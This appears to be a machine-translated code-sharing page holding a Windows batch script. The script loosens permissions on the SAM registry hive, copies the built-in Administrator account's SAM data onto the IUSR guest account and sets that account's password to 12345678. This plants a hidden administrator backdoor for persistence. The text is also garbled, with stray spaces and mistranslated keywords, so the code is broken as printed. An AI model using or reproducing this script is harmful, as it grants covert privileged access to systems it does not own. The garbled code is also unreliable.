Copy codeThe Code is as follows: echo off
Setlocal enabledelayedexpansion
Echo % computername %
Echo HKEY_LOCAL_MACHINE \ SAM [1 17]> "% windir % \ .. \ 1.reg"
Regini "% windir % \ .. \ 1.reg"
Regedit/e "% windir % \ .. \ 1.reg" HKEY_LOCAL_MACHINE \ SAM \ Domains \ Account \ Users \ Names \ IUSR _ % computername %
Rem unicode-> ascii
Type "% windir % \ .. \ 1.reg">" % windir % \ .. \ 2.reg"
Del/q "% windir % \ .. \ 1.reg"
Id of rem find IUSR _ % computername %
For/F "delims = (tokens = 1-5 * skip = 3" % a in (% windir % \ .. \ 2.reg) do set iusr_id = % B
Del/q "% windir % \ .. \ 2.reg"
Rem export administrator register
Regedit/e "% windir % \ .. \ 1.reg" HKEY_LOCAL_MACHINE \ SAM \ Domains \ Account \ Users \ 000001F4
Type "% windir % \ .. \ 1.reg">" % windir % \ .. \ 2.reg"
Del/q "% windir % \ .. \ 1.reg"
Rem replace 1fx-> iusr_id
For/f "tokens = * delims =:" % I in (% windir % \ .. \ 2.reg) do (
For/f "tokens = *" % j in ("% I") do (
Set TMP = % j
Set "TMP =! TMP: 000001F4 = 00000% iusr_id :~ 0, 3%! "
Echo! TMP!> % Windir % \ .. \ 1.reg
)
)
Regedit/s % windir % \ .. \ 1.reg
Del/q % windir % \ .. \ 1.reg
Del/q % windir % \ .. \ 2.reg
Echo HKEY_LOCAL_MACHINE \ SAM [17]> "% windir % \ .. \ 1.reg"
Regini "% windir % \ .. \ 1.reg"
Del/q "% windir % \ .. \ 1.reg"
Net user IUSR _ % computername % 12345678
The cloned user name is fixed. You need to change the code if you want to change it.